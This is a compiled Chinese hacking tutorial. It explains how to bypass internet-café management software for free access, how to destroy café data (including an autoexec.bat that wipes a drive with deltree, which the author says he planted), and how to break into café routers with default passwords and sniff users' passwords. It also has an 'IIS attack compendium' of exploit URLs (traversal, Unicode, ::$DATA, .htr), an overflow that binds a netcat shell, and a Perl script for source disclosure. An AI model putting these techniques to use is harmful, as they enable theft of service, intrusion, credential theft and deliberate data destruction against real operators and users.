分类： WINDOWS
2006-10-14 11:31:59
网吧常见漏洞及利用
网吧里一般都安装了管理软件，但是漏洞很多。本篇用四节课来讲解网吧的常见漏洞以及如何利用这些漏洞……（适用于WINDOWS 98操作系统）。
今天我们主要从“输入法”和“安全模式”这两个常见漏洞入手。
第一课 首先试试“安全模式”漏洞。
到网吧后开机（不要管理员解锁），一会儿屏幕出现“Starting Windows ……”时，按下"F5"键启动到“安全模式”，在“开始”→“运行”框中输入“msconfig”（回车），打开“系统配置实用程序”，用鼠标单击“启动”标签,去掉所有与网管软件有关的项，也可以在运行框中输入“regedit”打开注册表，删除注册表“HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下的相关键值，更残忍的干脆把网管软件给卸载掉，重新启动计算机后，就可以免费上网了。是不是很简单？不过可要当心网吧老板！如果“F5”键被屏蔽了，则应该先修改“msdos.sys”。看看下面的“输入法”漏洞，大家就知道怎么修改了。
第二课（本课以“网吧管理专家”为例）
照样先开机（启动过程别按“F5”），没有让管理员解锁的计算机在桌面上有一密码框，是用于验证用户身份的。这里分为会员和管理员，两种身份分别具有不同的使用权限。我不是管理员，所以我不知道管理员密码，在座有哪位知道的？（你不用拼命摇头啦！）没有密码照样能进入！我们可以绕到密码框后面去。用鼠标单击“会员卡号”框，利用“ctrl+shift”或“Ctrl+Space(空格键)”调出输入法，然后随意输入一个字母，在弹出的输入框上单击鼠标右键，看看有没有“帮助”。没有的话就用“Ctrl+Shift”切换输入法，直到找出“帮助”后单击它。鼠标的移动范围被限制了，可以这样破解它：按下“Alt+Space”，在弹出的标题栏菜单上（用键盘）选择“移动”，再回车两下就OK了。基础打好了，现在让我们看看这个网吧里有什么好东东，用鼠标单击“帮助”的标题栏图标（有一种帮助没有这个图标，这种帮助好像没什么利用价值）。打开控制菜单后，再单击“跳至 URL（J） ...”，在弹出的输入框中输入网址或盘符都可以，先去C盘看看，输入“C：”或“file:///C:/”。我找…… 似乎没什么好玩的。你看那网管软件，就放在这么显眼的地方，也不怕被人执行“Uninstall.exe”。…… 下面就开始上网了。：）去“新浪”逛逛，打开“跳至 URL（J）...”框，输入“”(“回车”)，大家让一让，发生什么事了？网页内容竟然在“帮助”里显示出来了！如果要去雅虎网站，还得再单击“跳至 URL（J） ...”，麻烦了点，不如去桌面上找个IE更方便些，这次还是得单击“跳至 URL（J）...”，输入“c:\windows\desktop”(回车)，或者在刚才打开的c盘上任意选择一个文件夹，按“shift+Enter(回车)”，调出资源管理器，也可以到达桌面。
有些人想要管理员密码,你可以自已来设置一个，我惯用的方法是：打开注册表，删除“[Hkey_Local_Machine\Software\万象幻境\专家系列管理软件]”下的键名“计算机解锁密码”和“运行设置程序密码”的键值（另外还有其他的密码，均已被编译，要删除就随你便啦！）改完后退出注册表并重新启动计算机，密码框不见了，然后依次单击“开始→设置→运行设置程序”，倘若你觉得该网吧限制太高，不妨把它设置低一点。如果注册表编辑器被禁止，就当我上面的话没说，我们可以用这种方法破解：
1.在IE地址栏内输入“c：”，回车。
2.单击“文件”菜单，新建一份文本文档，输入如下代码：
Regedit4
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:01000000
将文件另存为“1.reg”，把它双击安装后就可以使用注册表编辑器了。刚才提到怎样解除“F5”的限制，利用“帮助”漏洞来解除可以，但是我想利用“快速提示”漏洞。
第三课 “输入法”中的“快速提示”漏洞
这节课教大家什么？嗯！是“输入法”中的“快速提示”漏洞，目前仅有“五笔加加”输入法有这个漏洞。照上节课教的，不过这次要大家找的是“快速提示”，而不是“帮助”，切换输入法，找到“快速提示”后单击它，这时出现一个IE窗口（不是太菜的你应该知道干什么用的，上网用的呗！），鼠标移动范围被限制了，破解它（上节课教过了，但是如果IE窗口是最大化的，则应该先在控制菜单中选择“恢复为小窗口”后再“移动”，再按“回车”），这样便可免费上网了，需要打开桌面，最简单的方法是：在IE地址栏上输入“桌面”（回车）。回顾一下第一节课主要说了什么……嗯！利用“F5”漏洞免费上网，大多被屏蔽掉了，第二节课说过要利用“快速提示”漏洞来解除它。怎么做呢？（大家笔拿起来做些笔记），“msdos.sys”文件在C盘根目录下一般是以“隐藏”和“只读”形式储存的，我们需要先去掉它的“只读”属性，要不然无法对它做任何修改，在IE地址栏上输入“file:///C:/command.com”回车，打开“ms-dos方式”，在提示符下输入 “attrib -r c:\msdos.sys”(回车)以去掉“只读”属性，再返回到IE地址栏上输入“file:///C:/msdos.sys”（回车），把“打开方式”设为“记事本”，把“option”下的“BootKeys”的值改为“1”，保存退出。重新启动计算机便可使修改生效。
上面讲的都是以“网吧管理专家”网管软件为例，如果是“美萍”控制的计算机，得先打开“开始→会员登陆”，接下来与“网吧管理专家”操作过程相同。再补充一点，其实免费上网还有一种方法，不过成功率不高，就是使网管软件出错，我是用键盘上的“Ctrl、Shift、Alt”三个键中任一键或任两键配合其他键狂按，结果网管软件报错退出,“我的电脑”和“回收站”等都出现在桌面上了。
第四课 一些破坏网吧数据的方法（那位耳朵伸得那么长，想必是网德不善者）。
破坏1（破坏级别：中）：
在IE“地址栏”或“jump to URL”中输入“file：///c：/windows/control.exe”，打开“控制面板→ 添加/删除程序”，卸载掉你“感兴趣”的应用程序。
破坏2（破坏级别：中→高）：
为了防止文件被删除，网管软件一般都屏蔽了鼠标右键，并且连键盘上的“Delete”和“Shift+Delete”也无效，不过据我所知，在“网吧管理专家”控制下的数据可以用“Ctrl+D”来删除。
破坏3（破坏级别：高）：
修改C盘根目录下的“autoexec.bat”文件为如下代码：
@echo off
path=c:\windows;c:\windows\command
smartdrv >nul
deltree /y D:\. >nul
这些代码是我前段时间在某网吧里预留的，后果只是使硬盘D分区的数据全部丢失而已，但计算机仍可启动（因为操作系统被装在C盘），若将第四段代码的“D:”改为“C:”，有什么后果？你试试就知道了，像我这样心地善良，乐于助人的人，是不会那么做的。
纯皓 2005-04-12 00:42
IIS攻击大全
1．介绍
这里介绍的方法主要通过端口80来完成操作，具有很大的威胁性，因为作为网络服务器80端口总要打开的。如果想方便一些，下载一些WWW、CGI扫描器来辅助检查。
而且要知道目标机器运行的是何种服务程序，你可以使用以下命令：
telnet 《目标机》 80
GET HEAD / HTTP/1.0
就可以返回一些域名和WEB服务程序版本，如果有些服务器把WEB服务运行在8080，81，8000，8001口，你就TELNET相应的口上。
2.常见漏洞
（1）、Null.htw
IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞，即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码， global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制，进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index Server中没有充分防止各种类型文件的请求，所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量：
CiWebhitsfile
CiRestriction
CiHiliteType
你可通过下列方法传递变量来获得如default.asp的源代码：
目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20
CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
（2）、MDAC- 执行本地命令漏洞
这个漏洞出现得比较早，但在全球范围内，可能还有好多IIS WEB服务器存在这个漏洞，就像在今天，还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞，可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory，默认情况下，它允许远程命令发送到IIS服务器中，这命令会以设备用户的身份运行，在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞：
c:\》nc -nw -w 2 《目标机》 80
GET /msadc/msadcs.dll HTTP
如果你得到下面的信息：
application/x_varg
就很有可能存在此漏洞且没有打上补丁，你可以使用rain forest puppy网站的两个程序进行测()==》mdac.pl和msadc2.pl。
（3）、ASP Dot Bug
这个漏洞出现得比较早了，是Lopht小组在1997年发现的缺陷，这个漏洞也是泄露ASP源代码给攻击者，一般在IIS3.0上存在此漏洞，在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。目标机.com/sample.asp.
（4）、idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞，其能在IIS4.0上显示其WEB目录信息，很奇怪有些人还在IIS5.0上发现过此类漏洞，通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC，如果此.idc不存在，它就返回一些信息给客户端。
目标机.com/any（5）、+.htr Bug
这个漏洞是由NSFOCUS发现的，对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露：
目标机.com/global.asa+.htr
（6）、NT Site Server Adsamples 漏洞
通过请求site.csc，一般保存在/adsamples/config/site.csc中，攻击者可能获得一些如数据库中的DSN，UID和PASS的一些信息，如：
目标机.com/adsamples/config/site.csc
（7）、IIS HACK
有人发现了一个IIS4.0的缓冲溢出漏洞，可以允许用户上载程序，如上载netcat到目标服务器，并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中，其对关于这些文件的URL请求没有对名字进行充分的边界检查，导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe，ncx.exe，你可以到站点中去下载，另外你还需要一台自己的WEB服务器，也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下，然后使用iishack.exe来检查目标机器：
c:\》iishack.exe 《目标机》 80 《你的WEB服务器》/ncx.exe
然后你就使用netcat来连接你要检测的服务器：
c:\》nc 《目标机》 80
如果溢出点正确，你就可以看到目标机器的命令行提示，并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序，但不是默认安装的，这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是，这个查看器并没有很好地限制所访问的文件，远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容，但要注意以下几点：
1．Codebrws.asp 和 Showcode.asp默认情况下不安装。
2．漏洞仅允许查看文件内容。
3．这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
4．只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案，这样也可能比较好的防止最新的IIS5.0的unicode漏洞).
5,攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求，你可以请求如下的命令：
目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/
iisamples/exair/howitworks/codebrws.asp
你就可以查看到codebrws.asp的源代码了。
你也可以使用showcode.asp来查看文件：
目标机.com/msadc/samples/selector/showcode.asp?
source=/msadc/../../../../../winnt/win.ini
当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器，或许其他的机器的安全性比WEB服务器差，如：
source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log
thing.idc 或者 anything.idq8）、webhits.dll & .htw
这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted（突出）其原始搜索的条目，这个文档的名字通过变量CiWebhitsfile传递给.htw文件，Webhits.dll是一个ISAPI应用程序来处理请求，打开文件并返回结果，当用户控制了CiWebhitsfile参数传递给.htw时，他们就可以请求任意文件，结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞，你可以请求如下条目：
目标机.com/nosuchfile.htw
如果你从服务器端获得如下信息：
format of the QUERY_STRING is invalid
这就表示你存在这个漏洞。
这个问题主要就是webhits.dll关联了.htw文件的映射，所以你只要取消这个映射就能避免这个漏洞，你可以在你认为有漏洞的系统中搜索.htw文件，一般会发现如下的程序：
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/isssamples/exair/search/qfullhit.htw
/isssamples/exair/search/qsumrhit.htw
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
攻击者可以使用如下的方法来访问系统中文件的内容：
目标机.com/iissamples/issamples/oop/qfullhit.htw?
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
就会在有此漏洞系统中win.ini文件的内容。
（9）、ASP Alternate Data Streams(::$DATA)
$DATA这个漏洞是在1998年中期公布的，$DATA是在NTFS文件系统中存储在文件里面的main data stream属性，通过建立一个特殊格式的URL，就可能使用IIS在浏览器中访问这个data stream(数据流)，这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。
其中这个漏洞需要下面的几个限制，一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式)，第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字，WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁，
要查看一些.asp文件的内容，你可以请求如下的URL：
目标机.com/default.asp::$DATA 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题，你或许可以看看这文章：
http://focus.silversand.net/newsite/skill/ntfs.txt
（10）、ISM.DLL 缓冲截断漏洞
这个漏洞存在于IIS4.0和5.0中，允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS，会使IIS认为客户端请求的是?.htr?文件，而.htr文件的后缀映射到ISM.DLL ISAPI应用程序，这样IIS就把这个.htr请求转交给这个DLL文件，然后ISM.DLL程序把传递过来的文件打开和执行，但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意，除非 WEB 服务停止并重启过，否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。
目标机.com/global.asa%20%20(...《=230)global.asa.htr
纯皓 2005-04-12 00:43
（11）、存在的一些暴力破解威胁.htr程序
IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号，就是你的WEB服务器是通过NAT来转换地址的，还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd，这个目录包含多个.htr文件，匿名用户允许访问这些文件，这些文件刚好没有规定只限制在loopback addr(127.0.0.1)，请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下：
c:\winnt\system32\inetsrv\iisadmpwd
Achg.htr
Aexp.htr
Aexp2.htr
Aexp2b.htr
Aexp3.htr
Aexp4.htr
Aexp4b.htr
Anot.htr
Anot3.htr
这样，攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务，请立即删除这个目录。
（12）、Translate:f Bug
这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578)，其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中，当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀，并在请求文件后面加/就会显示文件代码，当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞，但由于FP2000也安装在IIS4.0上，因此在IIS4.0上也有这个漏洞，你可而已使用下面的脚本来利用这个漏洞：
#############################
use IO::Socket; #
my ($port, $sock,$server); #
$size=0; #
#############################
#
$server="$ARGV[0]";
$s="$server";
$port="80";
$cm="$ARGV[1]";
&connect;
sub connect {
if ($#ARGV 《 1) {
howto();
exit;
}
$ver="GET /$cm%
Host: $server
Accept: */*
Translate: f
\n\n";
my($iaddr,$paddr,$proto);
$iaddr = inet_aton($server) || die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";
$proto = getprotobyname('tcp') || die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:
$!";
connect(SOCK, $paddr) || die "Error: $!";
send(SOCK, $ver, 0) || die "Can't to send packet: $!";
open(OUT, "》$server.txt";
print "Dumping $cm to $server.txt \n";
while(《SOCK》) {
print OUT 《SOCK》;
}
sub howto {
print "type as follows: Trans.plwww.目标机.com codetoview.asp \n\n";
}
close OUT;
$n=0;
$type=2;
close(SOCK);
exit(1);
}
你可以使用下面的方法来获得源代码：
Trasn.plwww.目标机.com default.asp
（13）、IIS存在的Unicode解析错误漏洞
NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞，导致用户可以远程通过IIS执行任意命令。当IIS打开文件时，如果该文件名包含unicode字符，它会对其进行解码，如果用户提供一些特殊的编码，将导致IIS错误的打开或者执行某些web根目录以外的文件。
你可以使用下面的方法利用这个漏洞：
(1) 如果系统包含某个可执行目录，就可能执行任意系统命令。下面的URL可能列出当前目录的内容：
目标机.com/scripts/..%c1%
(2) 利用这个漏洞查看系统文件内容也是可能的：
目标机.com/a.asp/..%c1%
这个漏洞是针对中文操作平台，你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本，原因就是编码不同。
纯皓 2005-04-12 00:43
网吧攻击的几种方法
在网吧进行攻击，个人觉得好处挺多。因为网吧的主机（或路由）的设置一般都不会很安全，只是默认安装了操作系统（或简单设置路由）后做一个简单的共享和DHCP，然后主机一般就不怎么动了。这样就可以给我们很多练兵的机会。在网吧攻击，速度比较快（怎么说也是局域网内的）、隐蔽性较强（别让网吧服务员看到就行）等。
根据各地网吧具体条件不一样，可能攻击准备也会有少有多。比如说哈尔滨地区，网吧的机器一般都会还原卡，所以一般不安全杀毒软件，有的网吧用IC卡计费，这样的机器连网吧计费软件的客户端都不装。个人觉得安装IC卡进行计费的网吧攻击条件是最优越的，在软件的使用上没有任何限制。如果安装了网吧管理软件，如美萍、网吧管理专家等，准备工作就是先突破网吧管理软件，使之我们能下载软件、安装软件、执行命令，这样就最好不过了。关于网吧管理软件的突破，以前的文章有很多介绍的，大家自己参考一下吧。
因为网吧代理通过不同的手段，我们以一些常见的代理方式为例，简单的介绍一下对网吧的代理服务器（或路由）攻击的方式。
一、使用路由器进行代理
就以本人在网吧攻击路由为例吧。有一次和同学一起去网吧通宵玩梭哈，钱都输没了，时间也挺晚的，大约一点半左右吧，网吧的服务员大都去睡觉了。闲来无事，想看看网吧主机的防护怎么样，就在黑白下载了一个SSS扫描软件，SSS扫描软件是俄罗期出产的一个扫描软件，功能十分强大的。先看看网吧的IP是怎么分的，运行“WINIPCFG”（结果如图一）或在DOS窗口下运行“IPCONFIG –ALL | MORE”（结果如图二），我们可以从中得到一些信息，IP是192。168。0。64，网关是192。168。0。94，那么这个网关的地址就是网吧内部访问访问外部网络的出口，也就是192。168。0。94是做为网吧代理。PING一下网关，TTL值为255，难道是UNIX？用SSS扫描一下，只开了23端口，当时晕倒，怎么只开了23端口，这是什么代理服务器？后来仔细想一下，一定是路由了。运行TELNET 192。168。0。94，登陆上了，显示的路由型号是HIM-35，感觉一般网吧都不会太在意安全安全问题，所以找路由的默认密码试一下吧。打开网页GOOGLE搜索相应的路由型号HIM-35，找到厂商的主页，找到此路由型号的说明书，DOWN下来看一下，默认的密码是ADMIN。TELNET上后一试，进去了，果然路由没有设防，用默认的密码就可以轻松搞定了。本来也没想干什么坏事，进去看了一下路由的设置就出来了，也没有改动什么东西。
二、使用WIN98或WINDOWS 2000 PROFESSIONAL进行代理
我们都知道，WIN98和WIN 2K PRO提供很少的服务，这就给攻击带来很大的难度。如果系统上又安装了防火墙软件，真是一件很棘手的事情。当使用WIN 2K PRO时，最好先猜一下他的密码，看有没有弱口令，比如说空、网吧的名字或变形、网吧的电话等。还有就是利用代理服务器开的共享，上传木马，然后骗取管理员执行。最好使用反弹型木马，这样才能对付某些防火墙的。
三、使用WINDOWS 2000 SERVER 或WINDOWS 2000 ADVANCE SERVER做代理
WIN 2K SER 和WIN 2K ADV SER的默认安装都提供了不少的服务，比如说IIS等。这样我们的攻击的方法就多了很多，弱口令、IIS漏洞和系统漏洞等。默认安装的WIN2K SER和WIN2K ADV的系统安全性是非常脆弱的，IDA、IDQ、UNICODE、.PRINT等等漏洞，都可以轻松的拿到管理员的权限的。只要下载相应的溢出程序，打几行命令，管理员就到手。具体的攻击方法我在这里就不再叙述了。
四、在网吧安装SNIFF软件进行密码及信息的获取
在网吧安装SNIFF软件，真的可以得到好多的信息。HTTP/POP3/FTP的口令都是明文传输的，边锋、联众等网络软件的口令也是明文传输的，这样给攻击者带来很大的方便。如果网吧使用的共享式网络，比如说使用HUB，那么我们只要下载安装一个小小的SNIFF软件，就可以得到很多的信息。如果网吧使用交换式网络，即使用交换机，也没问题，下载SNIFFER PRO，安装后重新启动绑定网卡，一样可以得到我们想到的东西。
注意一点，因为网吧大多数都使用还原卡，所以电脑重启后会自动还原，那么我们可以先避开还原卡。还原卡一般是在电脑使用硬盘启动之前把数据还原，如果不让电脑检测硬件呢？安装完SNIFFER PRO后，先不要点重新启动。我们来手动重启计算机，在选择了“重新启动计算机”后，按住SHIFT然后再按“是”，这样就避免了计算机检测硬件，从而避开了还原卡（本人只对一些还原卡进行了测试）。把在网吧监听到的数据包打包发到邮箱，然后回去自己慢慢看。只要有足够的耐心，就能得到足够的信息。
关于网吧攻击的总结
通过以上攻击我们可以看出，攻击的方式一般是以弱口令及系统的致命漏洞为主。我们在网上扫描主机时也同样出现这种情况的。弱口令及系统或软件的默认安装，都是非常大的安全隐患。提醒网络管理人员，注意设置自己的用户口令、时常更换口令、及时对系统和软件的漏洞进行修补。平时不注意一点一滴，那么最后受伤的一定会是你！
